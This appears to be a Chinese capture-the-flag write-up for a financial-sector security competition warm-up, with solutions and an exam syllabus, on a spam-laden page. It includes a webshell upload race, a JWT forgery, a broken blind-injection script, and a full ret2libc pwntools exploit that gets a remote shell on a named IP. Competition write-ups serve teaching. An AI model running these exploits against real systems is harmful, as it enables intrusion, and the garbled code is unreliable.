<legend id="h4sia"></legend><samp id="h4sia"></samp>
<sup id="h4sia"></sup>
<mark id="h4sia"><del id="h4sia"></del></mark>

<p id="h4sia"><td id="h4sia"></td></p><track id="h4sia"></track>

<delect id="h4sia"></delect>
  • <input id="h4sia"><address id="h4sia"></address>

    <menuitem id="h4sia"></menuitem>

    1. <blockquote id="h4sia"><rt id="h4sia"></rt></blockquote>
      <wbr id="h4sia">
    2. <meter id="h4sia"></meter>

      <th id="h4sia"><center id="h4sia"><delect id="h4sia"></delect></center></th>
    3. <dl id="h4sia"></dl>
    4. <rp id="h4sia"><option id="h4sia"></option></rp>

        安全网络攻防大赛 金融业网络安全攻防比赛热身赛writeup

        文章作者:小 巫 | 2019-09-16 05:24:27
        字体大小:
        1.babygit 2.&nbp;peed 从题目上看是速度,应该与速度相关。 后缀限制各种绕过无果,得知提示“上传文件后缀非法,已删除”,猜测言外之意就是文件已经上传成功,后来发现上传文件后缀非法,被程序自动删除。
        1.babygit

        2. speed

        从题目上看是速度,应该与速度相关。

        后缀限制各种绕过无果,得知提示“上传文件后缀非法,已删除”,猜测言外之意就是文件已经上传成功,后来发现上传文件后缀非法,被程序自动删除。

        那么可以上传一个php,访问后会立刻生成一个webshell,通过webshell获取权限。

        通过一段时间的跑,获得flag: flag{fiLe_Up10A$1@68c55*e70}

        3. calculate
        #!/usr/bin/env python3
        import requests, re
        def calc(v1, v2, op, s):
        payload = dict(value1=v1, value2=v2, op=op, source=s,t=hh)
        #print payload
        r = requests.get(u, params=payload)
        #print r.url
        r.content)[0].split('\n')[1]
        assert (res != 'Invalid')
        return res == 'True'
        # print r.content
        def check(mid):
        s = flag + chr(mid)
        return calc(v1, v2, op, s)
        def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None):
        assert (lo >= 0)
        if hi == None: hi = len(seq)
        while lo < hi:
        mid = (lo + hi) // 2
        # print lo, mid, hi, "\t",
        if check(seq[mid]): hi = mid
        else: lo = mid + 1
        return seq[lo]
        flag = ''
        v1, v2, op, s ,hh= 'x', "+FLAG
        while (1):
        flag += chr(bin_search() - 1)
        print flag
        4. babyshop

        买一个东西,然后卖出111111111111111111111111111个,让他溢出,然后你就是土豪了,可以随便买买买。

        5. Bake cookies

            这题脑洞题,看标题jwt,应该是jwt认证。构造包,系统会报错,得到密钥(表问我为什么是在这个地方加token,而不是别的)。

        算法必须是HS256,playload 必须为: "admin": "true"。将获取的hash放入token中得到flag,flag{Jw7_15_9000lh4vE_fUN_W17h_17}。

        想象力不丰富的人很难做出来。

        6. welcome

            asicc码

            102 102 108 97 103 123 119 101 108 99 48 109 101 95 50 95 67 84 70 45 119 111 114 108 100 125

        7. docx

             docx都是zip格式,解压即可得到flag{maybe_docx_is_a_structured_file(s)}

        8. usb

         该题为usb协议,报文里面包含除了键盘意外其他操作数据,但是不影响我们分析。

        tshark -r ./usb.pcap -T fields -e usb.capdata 获取数据,去掉空白数据。

        获取后的数据通过查表得到键盘操作记录,相关

        #!/usr/bin/env python
        import sys
        import os
        mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
        nums = []
        keys = open('1.txt')
        for line in keys:
        if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
        continue
        nums.append(int(line[6:8],16))
        keys.close()
        output = ""
        for n in nums:
        if n == 0 :
        continue
        if n in mappings:
        output += mappings[n]
        else:
        output += '[unknown]'
        print 'output :\n' + output

        运行得到键盘操作:

        [unknown][unknown][unknown][unknown][unknown]BCFGIJGFEDCA[unknown][unknown][unknown][unknown]BACFEDCA[unknown][unknown]7200[DEL]53[DEL]93[unknown][unknown][unknown]

        由于密码为6位数字,则flag为:7200[DEL]53[DEL]93  ===》720593。得自己补上flag{}.????

        9. client

        下载解压,发现是exe程序,查壳未加壳。拉入IDA,得到账号:explorer

        OD加载程序 ,在密码验证处设置断点。每次运行内存地址不一样,需要自己计算。

        得到密码:welcome_to_the_world_of_binary.输入密码 得到:flag{welcome_to_the_world_of_binary}

        10. 2048

             使用jeb加载程序,根据提示,结束时获取flag{welcome_to_hacker's_game},base64编码的。把分跑满等结束这个姿势是不对的。

        关于PWN 还有另外一个溢出点:URI,本文对利用该处的exp做解释。

        相关代码由大米大拿给出,本人只做部分修改以及添加代码注释 。

        本人初学,如有错误请指出。

        大家测试前,需要安装GDB-peda插件,pwntools。

        pwn组件

        pip install pwntools

        gdb peda插件

        相关代码解释见下:

        from pwn import *
        local = 1
        if local:
        #context.log_level = 'debug'
        context.arch = 'i386'
        context.os = 'linux'
        #p = process('./anache_server', env={"LD_PRELOAD":"./libc.so.6"})
        p = remote('54.223.83.192','31337')
        libc = ELF('./libc.so.6')
        #/bin/sh 的地址,用于执行system("/bin/sh"),可以通过010editor搜索字符串得到 binsh = 0x15902b
        system= libc.symbols['system']
        e = ELF('./anache_server')
        #main函数地址,第一次溢出后,返回该处,便于第二次溢出执行漏洞
        vuln_func =0x8048755
        write_plt = e.plt['write'] #获取PLT 数据
        write_got = e.got['write']
        ('write@plt: %s',hex(write_plt))
        ('write@got: %s',hex(write_got))
        #gdb.attach(p)
        #'aaa/'+'a'*0x21c为填充数据,覆盖栈
        # p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)为
        #write(1,write_got,4),把write函数的内存地址输出出来,长度为4字节
        #x32 函数调用时是由右向左调用,p32(vuln_func)为执行完write函数后的返回地址,详细见call 函数栈数据的变化。
        #GOT在运行时会重定位到glibc的write函数上,从而获取到write函数的内存地址
        get_payload = 'aaa/'+'a'*0x21c + p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)
        payload = 'GET ' + get_payload + ' HTTP/1.1\\'
        p.send(payload)
        p.recvuntil('Permission Denied

        ')
        #读取 write函数的内存地址
        res = u32(p.recv(4))
        #write 的内存地址 = glibc的内存基址 + write函数的文件地址
        #故 glibc的内存基址为:泄漏的write函数的内存地址 - write的文件地址
        libc_base = res - libc.symbols['write']
        log.success('libc base: %s',hex(libc_base))
        #根据glibc的内存基址可以算出system的内存地址,从而利用system执行/bin/sh
        #由于“/bin/sh” 字符串是在glic中查找的,故内存中字符串“/bin/sh” 需要加上glic的地址
        binsh_addr = binsh+libc_base
        system_addr = system+libc_base
        log.success('binsh addr: %s',hex(binsh_addr))
        log.success('system addr: %s',hex(system_addr))
        #二次溢出,执行system(“/bin/sh”),返回地址可以随便写,程序挂了也无所谓啦,但是别超过4字节啦。
        get_payload = 'b'*0x218 + p32(system_addr) + 'bbbb' + p32(binsh_addr)
        payload = 'GET ' + get_payload + ' HTTP/1.1\\r'
        p.send(payload)
        p.interactive()
        raw_input('waiting...')

        备注:题目形式以及考纲源自于官方,个人考点分析为个人主观推论仅供参考,结论肯定是错误的????。大家查看提取的考纲即可。

            

            本次竞赛题目量为热身赛题量的2倍左右,由于比赛只有4个小时,考试难度应该与热身赛相当

            考试题目与金融业相关业务为背景,内容包含着:网站入侵,恶意病毒清除,勒索软件清理,移动应用破解,日志与流量分析取证,密码保护。其中:

        web安全:50%

        移动安全:15%

        逆向:10%

        密码学:10%

        取证,隐写,pwn:各占5%

        以下为各个方向的考纲:

        Web安全

        题目形式:

            给出web网站,要求选手通过信息收集、挖掘漏洞、利用漏洞获取目标权限或数据。

        考纲:

        1.OWASP top 10,如sql,xss,文件上传

        2.信息泄漏

        3.php代码审计

        4.java反编译与代码审计

        5.业务逻辑问题

        6.着名漏洞

        考点分析:

        1.sql注入,xss 绕过过滤。

        2.Java,php代码审计可能与sql,xss联合起来考试

        3.着名漏洞可能会考:心脏滴血,struts2,shellshock(官方给的)

        所需工具:

        sqlmap,SourceLeakHacker,struts,心脏滴血,shellshock利用攻击。

        移动安全

        题目形式:

            给出一个安卓应用,分析出算法,求解正确输入或是 对服务端通信进行分析,实现指定的目标。

        考纲:

        1.安卓应用流量抓取与分析

        2.安卓逆向与调试

        3.安卓应用修改

        考点分析:

        1.初级考点:熟悉安卓java语言逆向,资源文件,备份文件的目录;

        2.中级考点:安卓so文件的逆向分析,动态调试;

        3.高级考点:安卓应用加壳,ollvm混淆分析(个人感觉不大可能,4个小时anti估计都搞不定)

        所需工具:

        jeb,jd-gui, GDA 

        逆向工程

        题目形式:

            给出一个二进制程序,分析出算法,求解正确输入或是 对其进行patch,完成非预期功能。

        考纲:

        1.windows软件逆向分析与调试

        2.linux软件逆向分析与调试

        3.二进制软件修改

        考点分析:

        应该是常规题,跟热身赛差不多,动静分析应该可以得到答案。如果太难,4个小时不够用。

        所需工具:

        od,ida, peid

        密码学

        题目形式:

            给出密文和相关信息(如加密代码,加密方式),求明文。

        考纲:

        1.hash算法

        2.分组密码以及加密模式

        3.rsa原理以及常见攻击方式

        考点分析:

        2.对称算法攻击,如:CBC反转攻击,ECB攻击(google keyword:ecb attack,)

        3.RSA 算法应该是计算明文,考虑到难度系数,可能会给出p,q,n,e等参数;

        所需工具:

        我也不知道怎么给,网上给的都是小工具,具体网盘会给出。

        取证与隐写

        题目形式:

        给出日志,流量或文件,分析出里面的关键信息或隐藏信息。

        考纲:

        1.常见的日志分析

        2.网络流量抓去与分析

        3.常见文件格式

        考点分析:

        1.常见协议,如:smb,TLS,smtp协议,可能会考wannacry,心脏滴血漏洞,wannacry是利用永恒之蓝漏洞进行攻击,使用的是smb协议漏洞,心脏滴血针对的是https,使用的是tls协议;

        2.常见文档,压缩文件格式,比如:execl,rar,pptx等金融常用软件。

        3.日志分析估计是找webshell,或者通过日志看哪个位置有漏洞。需要:准备常见的日志分析工具

        所需工具:

        wireshark, tshark,Stegsolve

        PWN

        题目形式:

        给出一个网络服务二进制,利用其漏洞(通常为内存破坏型漏洞),获取服务器权限

        考纲:

        1.栈溢出基本原理

        2.栈溢出的利用技术

        3.linux提供的保护机制

        考点分析:

            官方都说了基本信息原理了,应该与热身赛难度差不多。感觉应该是一个套路:

        1.checksec看保护机制;

        2.找到溢出点;

        3.获取glibc的地址;

        4.远程执行命令。

        所需工具:

        gdb-peda,ida,od

        工具打包下载,工具来源网络,非本人收集整理,请自己查看是否存在后门:

        首页 世界杯买球用哪个软件| 债券| 黄金| 基金| 财经| 体育| 网站地图| 手机站
        申明:本站部分信息来自网络仅供参考,如有转载或引用文章涉及版权问题,请联系我们我们会尽快删除
        沪ICP备09853324号-1